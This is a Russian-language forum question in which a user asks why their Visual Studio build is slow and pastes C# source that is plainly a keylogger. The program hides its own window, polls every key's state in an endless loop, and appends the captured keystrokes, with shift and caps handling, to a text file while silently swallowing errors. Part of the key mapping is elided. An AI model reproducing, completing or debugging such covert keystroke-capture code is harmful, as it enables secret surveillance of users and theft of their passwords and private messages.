Сборка моего приложения в Visual Studio занимает слишком много времени - PullRequest
0 голосов
/ 13 апреля 2020

Сборка приложения в Visual Studio занимает слишком много времени. Он не дает мне никаких ошибок, но он долго компилируется, пока я не остановлю процесс. Есть идеи, почему это может происходить или это нормально? Спасибо! Это просто дает мне предупреждение за то, что я не использовал переменную "ex", я не знаю, влияет ли это или создает какой-то тип l oop. Вот мой код:

namespace KL
{

    class Program
    {

        [DllImport("user32.dll")]
        public static extern int GetAsyncKeyState(Int32 i);
        [DllImport("user32.dll")]
        private extern static int ShowWindow(System.IntPtr hWnd, int nCmdShow);
        [DllImport("user32.dll")]
        private static extern short GetAsyncKeyState(Keys teclas);
        [DllImport("user32.dll")]
        private static extern short GetKeyState(Keys teclas);
        [DllImport("user32.dll")]
        private static extern short GetKeyState(Int32 teclas);

        DateTime lastRun = DateTime.Now.AddSeconds(-30);

        static void Main(string[] args)
        {
            ShowWindow(Process.GetCurrentProcess().MainWindowHandle, 0);
            guardarPulsacion();
        }

        static void guardarPulsacion()
        {
            DateTime ultimaEjecucion = DateTime.Now.AddSeconds(-1);
            while (true)
            {
                try
                {
                    Thread.Sleep(50);
                    for (Int32 i = 0; i < 255; i++)
                    {
                        int tecla = GetAsyncKeyState(i);
                        if (tecla == 1 || tecla == -32767)
                        {
                            StreamWriter sw = new StreamWriter("XXX.txt", true);

                            if (Convert.ToBoolean(GetAsyncKeyState(Keys.ShiftKey)) && Convert.ToBoolean(GetKeyState(Keys.D4))) sw.Write("$");
                            else if (Convert.ToBoolean(GetAsyncKeyState(Keys.ShiftKey)) && Convert.ToBoolean(GetKeyState(Keys.D5))) sw.Write("%");
                            else if (Convert.ToBoolean(GetAsyncKeyState(Keys.ShiftKey)) && Convert.ToBoolean(GetKeyState(Keys.D6))) sw.Write("&");
                            else if (Convert.ToBoolean(GetAsyncKeyState(Keys.ShiftKey)) && Convert.ToBoolean(GetKeyState(Keys.D7))) sw.Write("(");
                            else if (Convert.ToBoolean(GetAsyncKeyState(Keys.ShiftKey)) && Convert.ToBoolean(GetKeyState(Keys.D8))) sw.Write(")");
                            else if (Convert.ToBoolean(GetAsyncKeyState(Keys.ShiftKey)) && Convert.ToBoolean(GetKeyState(Keys.D9))) sw.Write(")");
                            else if (Convert.ToBoolean(GetAsyncKeyState(Keys.ShiftKey)) && Convert.ToBoolean(GetKeyState(Keys.D0))) sw.Write("=");
                            else if (Keys.OemPeriod.Equals((Keys)i)) sw.Write(".");
                            else if (Keys.Back.Equals((Keys)i)) sw.Write("");
                            else if (Keys.Space.Equals((Keys)i)) sw.Write(" ");
                            else if (Keys.D0.Equals((Keys)i) || Keys.NumPad0.Equals((Keys)i)) sw.Write("0");
                            else if 
                             ...
                            else if
                            (Keys.D9.Equals((Keys)i) || Keys.NumPad9.Equals((Keys)i)) sw.Write("9");
                            else if (Keys.LButton.Equals((Keys)i) || Keys.MButton.Equals((Keys)i)) { }//no escribe
                            else
                            { //letras
                                if (i >= 65 && i <= 122)
                                {
                                    if (Convert.ToBoolean(GetAsyncKeyState(Keys.ShiftKey)) && Convert.ToBoolean(GetKeyState(Keys.CapsLock)))
                                        sw.Write(Convert.ToChar(i + 32).ToString());//MINUSCULA
                                    else if (Convert.ToBoolean(GetAsyncKeyState(Keys.ShiftKey))) //Mayuscula
                                        sw.Write(Convert.ToChar(i).ToString());
                                    else if (Convert.ToBoolean(GetAsyncKeyState(Keys.CapsLock)))//Mayuscula
                                        sw.Write(Convert.ToChar(i).ToString());
                                    else sw.Write(Convert.ToChar(i + 32).ToString());//MINUSCULA
                                }
                            }
                            sw.Close();
                        }
                    }
                    if (DateTime.Now > ultimaEjecucion)
                    {
                        string fecha = DateTime.Now.ToString("h:mm:ss tt");
                        string nombrefinal = fecha.Trim().Replace(":", "_");
                        ultimaEjecucion = DateTime.Now.AddSeconds(30);
                        new FileInfo(nombrefinal).Delete();
                    }
                }
                catch (Exception ex) { }
            }


        }
Добро пожаловать на сайт PullRequest, где вы можете задавать вопросы и получать ответы от других членов сообщества.
...